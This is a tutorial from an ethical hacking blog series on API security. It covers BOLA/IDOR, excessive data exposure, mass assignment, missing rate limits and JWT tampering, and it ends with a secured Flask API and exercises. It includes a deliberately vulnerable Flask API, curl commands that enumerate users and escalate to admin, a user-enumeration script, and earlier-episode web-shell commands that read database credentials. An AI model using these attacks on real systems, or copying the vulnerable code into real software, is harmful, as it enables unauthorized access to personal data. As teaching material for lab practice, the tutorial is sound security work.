Learn Ethical Hacking (#21) - API Security - The New Attack Surface

What will I learn
- Why APIs are the fastest-growing attack surface on the internet;
- REST API vulnerabilities: broken authentication, excessive data exposure, mass assignment;
- BOLA/IDOR: accessing other users' data by changing an ID;
- Rate limiting bypass and API abuse;
- Testing APIs with curl, Postman, and Python scripts;
- The OWASP API Security Top 10 and how it differs from the web Top 10.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2;
- Python 3 with requests and Flask (
pip install flask pyjwt); - curl (pre-installed on most systems);
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface (this post)
Solutions to Episode 20 Exercises
Exercise 1 -- DVWA file upload exploitation:
Low security:
Uploaded shell.php directly -- no filtering at all.
curl ".../shell.php?cmd=ls+/var/www" -> full directory listing
curl ".../shell.php?cmd=cat+/var/www/dvwa/config/config.inc.php"
-> db_user='root', db_password='', db_database='dvwa'
curl ".../shell.php?cmd=ps+aux" -> all running processes visible
Medium security:
Direct .php upload blocked (checks Content-Type header).
Bypass: curl -F "[email protected];type=image/jpeg" -> UPLOADED
The file executes normally -- only the header was checked, not content.
The key insight: Content-Type headers are client-controlled and meaningless for security. Checking them is like asking a burglar "are you a burglar?" and trusting the answer.
Exercise 2 -- Upload bypass tester:
Results against DVWA Low:
shell.php (application/x-php): EXPLOITABLE
shell.php (image/jpeg): EXPLOITABLE
shell.php.jpg: UPLOADED (not executable)
shell.jpg.php: EXPLOITABLE
shell.pHp: EXPLOITABLE
shell.php5: EXPLOITABLE
shell.phtml: EXPLOITABLE
shell.gif.php (GIF89a header): EXPLOITABLE
7 of 8 bypasses achieve code execution at Low security.
Only .php.jpg fails because Apache serves it as image/jpeg.
Exercise 3 -- Secure upload handler:
All bypass attempts blocked:
- Content-Type spoofing: python-magic detects actual PHP, not image
- Double extension: UUID filename eliminates original extension entirely
- GIF89a + PHP: magic detects as text/x-php despite GIF header
- Path traversal (../../): os.path.join with UUID ignores traversal
- Large file (100MB): size check rejects before processing
Remaining vector: if the storage directory is misconfigured to execute
scripts, a polyglot file (valid image AND valid PHP) could still execute.
Defense: store outside web root + serve via handler with explicit Content-Type.
Learn Ethical Hacking (#21) - API Security
Every web vulnerability we've covered from episode 11 onwards targets the traditional web application model: a server renders HTML pages, the browser submits forms, and the server processes form data. SQL injection exploits text fields that reach a database query. XSS injects JavaScript through text inputs that get reflected in HTML. CSRF abuses the browser's automatic cookie inclusion on form submissions. File uploads (episode 20) exploit the boundary between user-supplied files and server-side execution. The attack surface in all these cases is the HTML-driven request/response cycle.
Modern web applications barely use that model anymore. Open any web app built in the last five years and look at the network tab in your browser's developer tools. You'll see dozens of XHR or fetch requests flying to API endpoints -- /api/v1/users, /api/orders/123, /graphql. The beautiful UI in your browser is just a thin JavaScript client that consumes a REST or GraphQL API. The mobile app? Same API. Third-party integrations? Same API. Webhooks? Same API. The API IS the application, and the web front-end is just one of many clients talking to it.
And APIs have a fundamentally different attack surface. No HTML forms -- JSON request bodies instead. No cookies (usually) -- Bearer tokens in the Authorization header. No browser-enforced same-origin policy restricting who can talk to the API -- any HTTP client works, from curl to Postman to a Python script. The OWASP Web Application Top 10 doesn't adequately cover what breaks in APIs, which is precisely why OWASP published a separate API Security Top 10 ;-)
BOLA/IDOR: The #1 API Vulnerability
Broken Object Level Authorization (BOLA), also called Insecure Direct Object Reference (IDOR), is devastatingly simple. You're authenticated -- you have a valid token. You request your own data: GET /api/users/42. The API returns your profile. Then you change the ID: GET /api/users/43. The API returns someone ELSE's profile, including their email, SSN, and salary. You were authenticated (valid token) but the API never checked whether you're authorized to access that specific object. This is the #1 vulnerability in the OWASP API Security Top 10 and it appears in a staggering number of production APIs.
# You're user 42. Your profile:
curl -H "Authorization: Bearer YOUR_TOKEN" https://api.example.com/users/42
# {"id": 42, "name": "Scipio", "email": "[email protected]"}
# What about user 43?
curl -H "Authorization: Bearer YOUR_TOKEN" https://api.example.com/users/43
# {"id": 43, "name": "Other User", "email": "[email protected]", "ssn": "123-45-6789"}
# BOLA -- your token gave you access to someone else's data
The distinction between authentication and authorization is the entire vulnerability. Authentication answers "who are you?" Authorization answers "are you allowed to do THIS specific thing?" Most APIs nail authentication (JWT validation, OAuth token checks, session management) and completely forget per-object authorization. The token is valid, so the request is served. Nobody checks whether user 42 should be able to see user 43's records.
Why is BOLA so common? Because authorization logic is boring. The developer builds the endpoint, validates the token, queries the database, returns the result. It works. Tests pass. Code review approves. Nobody writes a test that says "login as user A, request user B's data, verify 403 Forbidden" because the developer was thinking about the happy path: users requesting their own data.
Building the Vulnerable API
Here's a Flask API with BOLA, excessive data exposure, mass assignment, and no rate limiting -- four distinct API security vulnerabilities in about 70 lines:
#!/usr/bin/env python3
"""Vulnerable API with BOLA, excessive data exposure, and no rate limiting."""
from flask import Flask, request, jsonify
import jwt
import datetime
app = Flask(__name__)
SECRET = "weak_secret_123" # Intentionally weak for Episode 17 JWT cracking
USERS = {
1: {"id": 1, "name": "Admin", "email": "[email protected]", "role": "admin",
"ssn": "111-22-3333", "salary": 150000, "password_hash": "5f4dcc3b..."},
2: {"id": 2, "name": "Scipio", "email": "[email protected]", "role": "user",
"ssn": "444-55-6666", "salary": 95000, "password_hash": "482c811d..."},
3: {"id": 3, "name": "Guest", "email": "[email protected]", "role": "user",
"ssn": "777-88-9999", "salary": 45000, "password_hash": "d8578edf..."},
}
ORDERS = {
101: {"id": 101, "user_id": 1, "amount": 299.99, "item": "Premium License"},
102: {"id": 102, "user_id": 2, "amount": 49.99, "item": "Basic License"},
103: {"id": 103, "user_id": 3, "amount": 9.99, "item": "Trial"},
}
@app.route('/api/login', methods=['POST'])
def login():
data = request.json
for user in USERS.values():
if user['email'] == data.get('email'):
token = jwt.encode(
{"user_id": user['id'], "role": user['role'],
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)},
SECRET, algorithm="HS256")
return jsonify({"token": token})
return jsonify({"error": "Invalid credentials"}), 401
@app.route('/api/users/<int:uid>')
def get_user(uid):
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
jwt.decode(token, SECRET, algorithms=["HS256"])
except:
return jsonify({"error": "Unauthorized"}), 401
# VULNERABLE: no check that authenticated user can access this user_id
user = USERS.get(uid)
if not user:
return jsonify({"error": "Not found"}), 404
return jsonify(user) # EXCESSIVE DATA EXPOSURE: returns everything including SSN
@app.route('/api/orders/<int:oid>')
def get_order(oid):
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
jwt.decode(token, SECRET, algorithms=["HS256"])
except:
return jsonify({"error": "Unauthorized"}), 401
# VULNERABLE: same BOLA issue
order = ORDERS.get(oid)
if not order:
return jsonify({"error": "Not found"}), 404
return jsonify(order)
@app.route('/api/users/<int:uid>', methods=['PUT'])
def update_user(uid):
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
payload = jwt.decode(token, SECRET, algorithms=["HS256"])
except:
return jsonify({"error": "Unauthorized"}), 401
# VULNERABLE: mass assignment -- accepts ANY field including 'role'
data = request.json
if uid in USERS:
USERS[uid].update(data)
return jsonify(USERS[uid])
return jsonify({"error": "Not found"}), 404
app.run(host='0.0.0.0', port=5000)
Save this as vuln_api.py and run it. Then open a second terminal -- time to break things.
Exploiting the Vulnerable API
# 1. Login as user 2 (Scipio)
TOKEN=$(curl -s -X POST http://localhost:5000/api/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "Got token: $TOKEN"
# 2. BOLA -- access the admin's data
curl -s -H "Authorization: Bearer $TOKEN" http://localhost:5000/api/users/1 | python3 -m json.tool
# Returns admin's SSN, salary, password hash -- everything
# 3. Enumerate ALL users (try IDs 1 through 10)
for i in $(seq 1 10); do
RESULT=$(curl -s -H "Authorization: Bearer $TOKEN" http://localhost:5000/api/users/$i)
echo "User $i: $RESULT"
done
# 4. BOLA on orders -- access admin's purchase history
curl -s -H "Authorization: Bearer $TOKEN" http://localhost:5000/api/orders/101 | python3 -m json.tool
# 5. Mass assignment -- escalate yourself to admin
curl -s -X PUT http://localhost:5000/api/users/2 \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role": "admin"}' | python3 -m json.tool
# Your role is now "admin" -- the API accepted the field blindly
Five attacks in under a minute. Each one exploits a different API security flaw. And notice how none of these attacks would be visible to the front-end -- a legitimate React or Angular client would only ever request users/2 (your own ID) and display only the name and email. The API sends everything, the front-end filters what to show. But an attacker doesn't USE the front-end. They talk to the API directly with curl or a script, and they see every field the API returns.
Excessive Data Exposure
The /api/users/ endpoint returns EVERYTHING -- name, email, SSN, salary, password hash. The front-end might only display name and email, but the API sends it all. This is OWASP API3: Broken Object Property Level Authorization (renamed from "Excessive Data Exposure" in the 2023 version).
# VULNERABLE: returns entire user object
return jsonify(user)
# SECURE: return only what the client needs
return jsonify({
"id": user["id"],
"name": user["name"],
"email": user["email"]
})
The fix looks trivial, and it is. But here's why it doesn't happen: the developer builds the API and the front-end simultaneously. The front-end only shows name and email. The developer tests through the front-end, sees name and email, and thinks "working as intended." Nobody looks at the raw API response. Nobody writes a test that says "verify the response does NOT contain the ssn field." The excess data is invisible when you only look through the front-end lens.
Having said that, this is increasingly caught by automated API scanners that compare the response schema against a defined contract. If you have an OpenAPI spec that says the response includes {id, name, email} and the actual response includes {id, name, email, ssn, salary, password_hash}, the scanner flags the mismatch. But you need the spec, and you need the scanner, and you need someone to actually look at the results. A lot of "ifs."
Mass Assignment
The PUT endpoint does USERS[uid].update(data) -- it takes whatever JSON the client sends and blindly applies it to the user object. The attacker sends {"role": "admin"} and instantly escalates privileges. This is not a theoretical vulnerability ;-)
# VULNERABLE: blindly updates all fields
USERS[uid].update(data)
# SECURE: allowlist specific fields
allowed = {'name', 'email'}
filtered = {k: v for k, v in data.items() if k in allowed}
USERS[uid].update(filtered)
In 2012, a developer named Egor Homakov exploited mass assignment in GitHub itself. GitHub's Rails API accepted a user parameter that included admin: true. Homakov sent it, became admin, and pushed a commit to the Rails repository to prove the point. GitHub fixed it, but the vulnerability had existed since launch. The root cause was Rails' attr_accessible feature (which restricted mass-assignable attributes) being opt-in rather than opt-out -- developers had to explicitly list safe fields, and most didn't bother.
The same pattern repeats in every framework. Django has ModelForm with fields (allowlist) or exclude (blocklist). Express.js has middleware like express-validator. Spring Boot has @JsonIgnore annotations. In every case, the defense exists -- but the developer has to use it, and the default behavior is "accept everything the client sends." Secure defaults would prevent mass assignment entirely. But almost no framework ships with secure defaults for this.
Rate Limiting and API Abuse
Without rate limiting, every BOLA vulnerability becomes a data exfiltration vulnerability. One request gets you one user's data. A million requests gets you everyone's data:
#!/usr/bin/env python3
"""API user enumerator -- demonstrates why rate limiting matters."""
import requests
import sys
TARGET = "http://localhost:5000/api/users"
TOKEN = sys.argv[1]
HEADERS = {"Authorization": f"Bearer {TOKEN}"}
found = []
for uid in range(1, 10001):
resp = requests.get(f"{TARGET}/{uid}", headers=HEADERS, timeout=5)
if resp.status_code == 200:
user = resp.json()
found.append(user)
print(f"[+] User {uid}: {user.get('name', '?')} ({user.get('email', '?')})")
if uid % 1000 == 0:
print(f"[*] Checked {uid} IDs, found {len(found)} users so far")
print(f"\n[*] Enumeration complete: {len(found)} users found across {uid} IDs")
Without rate limiting, this script runs at network speed. On a local network that's thousands of requests per second. On the internet, a few hundred per second is typical. Either way, an attacker dumps your entire user database in minutes. With proper rate limiting (say, 100 requests per minute per token), the same enumeration takes 100 minutes per 10,000 IDs. Still possible, but slow enough to detect and block.
Rate limiting belongs at multiple layers: the API gateway (nginx, Cloudflare, AWS API Gateway), the application itself (per-token counters, sliding window), and per-endpoint (sensitive endpoints like login and password reset get stricter limits than read-only endpoints). The absense of rate limiting at ANY layer is a vulnerability -- it enables brute force attacks, credential stuffing, data scraping, and denial of service.
API Discovery and Documentation Leakage
Before attacking an API, you need to find its endpoints. Here's where many APIs shoot themselves in the foot -- they publish their own attack documentation:
# Check for OpenAPI/Swagger documentation (left accessible in production)
curl -s http://target/api/docs
curl -s http://target/swagger.json
curl -s http://target/openapi.json
curl -s http://target/api/v1/swagger.yaml
curl -s http://target/v2/api-docs # Spring Boot default
# Check for GraphQL (introspection often enabled by default)
curl -s http://target/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'
# Probe common API base paths
for path in api v1 v2 api/v1 api/v2 rest graphql; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" http://target/$path)
echo "$CODE /$path"
done
Swagger/OpenAPI docs list every endpoint, every parameter, every response schema, and sometimes even example values. It's a complete roadmap for the attacker. GraphQL introspection is even worse -- it returns the ENTIRE schema: every type, every field, every relationship, every query and mutation. The attacker knows more about your API structure than most of your own developers do (because the docs are always out of date but the schema is always current).
In production, disable Swagger UI, restrict OpenAPI spec access to authenticated internal users, and disable GraphQL introspection. These are configuration switches, not code changes. They take five minutes. But the default for most frameworks is "enabled", and most deployments never change the default.
The OWASP API Security Top 10 (2023)
The OWASP API Security Top 10 was first published in 2019 and updated in 2023. It overlaps with but is distinct from the traditional Web Application Top 10:
| # | Vulnerability | Our episode |
|---|---|---|
| API1 | Broken Object Level Authorization (BOLA) | This one |
| API2 | Broken Authentication | Ep 17 |
| API3 | Broken Object Property Level Authorization | This one (mass assignment + excessive data) |
| API4 | Unrestricted Resource Consumption | This one (no rate limiting) |
| API5 | Broken Function Level Authorization | Ep 17 |
| API6 | Unrestricted Access to Sensitive Business Flows | -- |
| API7 | Server Side Request Forgery | Ep 18 |
| API8 | Security Misconfiguration | Ep 11 |
| API9 | Improper Inventory Management | This one (undocumented endpoints, leaked docs) |
| API10 | Unsafe Consumption of APIs | Ep 19 (deserialization) |
Notice how many of these we've already covered in previous episodes, just from a diffrent angle. Authentication bypass (episode 17) is API2 and API5. SSRF (episode 18) is API7. Insecure deserialization (episode 19) is API10. The vulnerabilities aren't new -- the API context makes them more prevalent and often more impactful because APIs expose more data per endpoint and are designed for programmatic (high-volume) access.
Real-World API Breaches
T-Mobile (2023): An attacker exploited a BOLA vulnerability in T-Mobile's account management API. By iterating through account IDs, they extracted personal data for 37 million customers -- names, billing addresses, email addresses, phone numbers, dates of birth. The API was authenticated (required a valid API key) but didn't check whether the key holder was authorized to access each specific account. Classic BOLA at massive scale.
Optus (2022): The Australian telco exposed an unauthenticated API endpoint that returned customer records including passport and driver's license numbers. No authentication required at all -- the endpoint was accessible from the public internet without any token or key. 9.8 million customer records exposed. The API had apparently been accessible for years before anyone noticed.
Parler (2021): Parler's API used sequential numeric post IDs with no authentication on the read endpoints. An enterprising researcher wrote a script that incremented the ID counter and downloaded every post, every image, every video -- including deleted content and GPS-tagged images. The entire platform was archived in 48 hours, 70+ terabytes of data, because the API had no rate limiting and no authentication on read operations. The sequential IDs made enumeration trivial (no need to guess UUIDs) ;-)
Facebook (2018): The Cambridge Analytica scandal involved Facebook's Graph API, which exposed far more user data to third-party applications than the privacy settings suggested. Applications could access not just the consenting user's data but the data of all their friends. The API technically had authorization -- users clicked "Allow" -- but the scope of what "Allow" meant was wildly broader than users understood. This is API6 (Unrestricted Access to Sensitive Business Flows): the API was functioning as designed, but the design itself was exploitative.
The AI Slop Angle
AI-generated APIs are BOLA factories. And I don't mean that figuratively. Here's what happens when you ask an AI to "build a REST API for user management":
Auto-generated CRUD endpoints with no per-object authorization checks. The AI builds
GET /users/:idthat validates the JWT and queries the database. It never occurs to the AI that user 42 shouldn't be able to read user 43.Database ORM queries that accept any filter parameter from the client.
User.query.filter_by(**request.args)looks elegant and the AI loves it. It also lets the attacker filter byis_admin=trueorpassword_hash=5f4dc*to enumerate sensitive data.JWT validation that checks "is this a valid token?" but not "does this token's user_id match the requested resource?" The AI treats authentication as a binary -- you're logged in or you're not. Per-resource authorization is invisible to it.
No rate limiting middleware. Rate limiting isn't part of the prompt "make a REST API" and the AI has no concept of adversarial access patterns. The API works correctly for one request at a time, which is how the developer tests it.
Swagger docs auto-generated and left publicly accessible. The AI includes
swagger-ui-expressbecause it's helpful for development. Nobody tells it to disable it for production. The documentation ships alongside the API it documents, giving attackers the complete map.
The pattern we've been tracking since episode 6 holds perfectly: AI generates code that WORKS for the intended use case but never considers adversarial behavior. The API works when users request their own data. It fails catastrophically when users request other people's data.
Fixing the Vulnerable API
The fixed version of our lab API implements all four defenses -- per-object authorization, response filtering, mass assignment protection, and rate limiting. Compare each endpoint to the vulnerable version:
#!/usr/bin/env python3
"""Secure API with per-object authorization, response filtering, and rate limiting."""
from flask import Flask, request, jsonify
from functools import wraps
from collections import defaultdict
import jwt
import datetime
import time
app = Flask(__name__)
SECRET = "use-os.urandom(32)-in-production"
# Rate limiting state (per-token, sliding window)
request_counts = defaultdict(list)
RATE_LIMIT = 100 # requests per minute
def rate_limited(f):
@wraps(f)
def wrapper(*args, **kwargs):
token = request.headers.get('Authorization', '')
now = time.time()
# Clean old entries
request_counts[token] = [t for t in request_counts[token] if now - t < 60]
if len(request_counts[token]) >= RATE_LIMIT:
return jsonify({"error": "Rate limit exceeded"}), 429
request_counts[token].append(now)
return f(*args, **kwargs)
return wrapper
def get_current_user():
"""Extract and validate user from JWT token."""
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
return jwt.decode(token, SECRET, algorithms=["HS256"])
except:
return None
USERS = {
1: {"id": 1, "name": "Admin", "email": "[email protected]", "role": "admin",
"ssn": "111-22-3333", "salary": 150000},
2: {"id": 2, "name": "Scipio", "email": "[email protected]", "role": "user",
"ssn": "444-55-6666", "salary": 95000},
3: {"id": 3, "name": "Guest", "email": "[email protected]", "role": "user",
"ssn": "777-88-9999", "salary": 45000},
}
@app.route('/api/users/<int:uid>')
@rate_limited
def get_user(uid):
current = get_current_user()
if not current:
return jsonify({"error": "Unauthorized"}), 401
# FIX 1: Per-object authorization -- users can only access their own data
# Admins can access anyone's data
if current['user_id'] != uid and current['role'] != 'admin':
return jsonify({"error": "Forbidden"}), 403
user = USERS.get(uid)
if not user:
return jsonify({"error": "Not found"}), 404
# FIX 2: Response filtering -- non-admins get limited fields
if current['role'] != 'admin':
return jsonify({"id": user["id"], "name": user["name"], "email": user["email"]})
return jsonify(user)
@app.route('/api/users/<int:uid>', methods=['PUT'])
@rate_limited
def update_user(uid):
current = get_current_user()
if not current:
return jsonify({"error": "Unauthorized"}), 401
if current['user_id'] != uid:
return jsonify({"error": "Forbidden"}), 403
# FIX 3: Mass assignment protection -- allowlist of updatable fields
allowed = {'name', 'email'}
data = {k: v for k, v in request.json.items() if k in allowed}
if uid in USERS:
USERS[uid].update(data)
return jsonify({"id": USERS[uid]["id"], "name": USERS[uid]["name"],
"email": USERS[uid]["email"]})
return jsonify({"error": "Not found"}), 404
app.run(host='0.0.0.0', port=5001)
The key changes: (1) every endpoint checks current['user_id'] != uid before returning data, (2) the response only includes fields appropriate for the requester's role, (3) the PUT endpoint allowlists updatable fields (name and email only -- role, ssn, salary are immutable via the API), and (4) the @rate_limited decorator enforces 100 requests per minute per token. Four defenses, each independently blocking a different attack vector. Defense in depth.
JWT-Specific API Attacks
Since we covered JWT manipulation in episode 17, here's how those attacks combine with API vulnerabilities in practice. Many APIs use JWTs not just for authentication but also for authorization -- the JWT payload contains the user's role, permissions, or group membership:
# Decode a JWT payload (base64, no verification needed)
echo "eyJ1c2VyX2lkIjoyLCJyb2xlIjoidXNlciJ9" | base64 -d
# {"user_id":2,"role":"user"}
# If the API reads 'role' from the JWT without checking the signature:
# 1. Decode the JWT
# 2. Change "role":"user" to "role":"admin"
# 3. Re-encode with base64
# 4. Send the modified token
# If the API doesn't verify the signature, congratulations -- you're admin
# The 'none' algorithm attack (Episode 17):
# Change the JWT header to {"alg":"none"}
# Remove the signature entirely
# Some JWT libraries accept alg=none as "no verification needed"
Having said that, most modern JWT libraries reject alg=none by default now. The real JWT risk in APIs is the combination of a valid token with BOLA -- you authenticate correctly, the token is valid and verified, but the API still doesn't check whether your user_id should have access to the requested resource. The JWT proves who you ARE but not what you're allowed to DO ;-)
API Testing Methodology
When you find an API during a pentest, here's a systematic approach:
Discovery: Find all endpoints. Check
/api/docs,/swagger.json,/openapi.json,/graphql. Look at the front-end JavaScript source for API calls. Use browser DevTools to capture API traffic during normal use.Authentication: How does the API authenticate? JWT? OAuth? API key? Session cookie? Test whether any endpoints work without authentication. Test expired/invalid tokens.
BOLA testing: For every endpoint that takes an ID parameter, try another user's ID.
GET /users/YOUR_IDworks -- doesGET /users/OTHER_ID? Try it on every resource type: users, orders, documents, messages, files.Excessive data exposure: Compare what the front-end displays with what the API actually returns. The front-end shows name and email -- does the API response also contain SSN, salary, internal flags, password hashes?
Mass assignment: On every PUT/PATCH endpoint, send extra fields that shouldn't be client-settable:
role,is_admin,verified,balance,created_at. See if the API accepts and persists them.Rate limiting: Send 1000 requests in rapid succession. Does the API start returning 429? If not, enumeration and brute force attacks are viable.
GraphQL-specific: If it's GraphQL, run introspection. Look for mutations that bypass business logic, nested queries that cause DoS (query depth attacks), and batch queries that bypass rate limiting.
This maps directly to the OWASP API Security Top 10. Each step targets a specific API vulnerability class, and the methodology ensures you don't miss any of them.
We've now covered 10 episodes of web application vulnerability classes -- from SQL injection through file uploads to API security. Each exploits a different layer of the application stack, but they all share one root cause: trusting input that the attacker controls. Traditional web apps trust form fields, cookies, and file uploads. APIs trust JSON bodies, URL parameters, and bearer tokens. The trust boundary is different but the failure mode is identical. Next we'll look at what happens when the application's own business logic contains the vulnerability -- cases where the code works exactly as designed, every input is properly validated, there are no injection points, and the application is STILL exploitable because the logic itself is flawed.
Exercises
Exercise 1: Set up the vulnerable API from this episode. Using only curl, exploit all five vulnerabilities: BOLA on users, BOLA on orders, excessive data exposure, mass assignment to admin, and user enumeration. For the mass assignment, first check your role, then escalate to admin, then verify you're admin. Save all curl commands and responses to ~/lab-notes/api-attacks.txt.
Exercise 2: Write a Python script called api_scanner.py that takes a base API URL and a valid authentication token, then: (a) probes common API documentation paths (/docs, /swagger.json, /openapi.json), (b) attempts BOLA by iterating through IDs 1-100 on a given endpoint, (c) checks for excessive data exposure by flagging responses containing sensitive-looking fields (ssn, password, secret, salary, credit_card), (d) tests rate limiting by sending 100 requests in 10 seconds and checking for 429 responses. Save as ~/pentest-tools/api_scanner.py.
Exercise 3: Fix the vulnerable API from this episode. Implement: (a) proper BOLA protection (users can only access their own data, admins can access anyone's), (b) response filtering (only return name and email for non-admin requests), (c) mass assignment protection (allowlist of updatable fields), (d) rate limiting (100 requests per minute per token). Write tests that verify each fix blocks the corresponding attack. Save the fixed API as ~/api-lab/secure_api.py and the tests as ~/api-lab/test_api.py.
Quality share, interesting.. :)
!PIZZA
$PIZZA slices delivered:
@urielkinnear(2/5) tipped @scipio
Learn more at https://hive.pizza.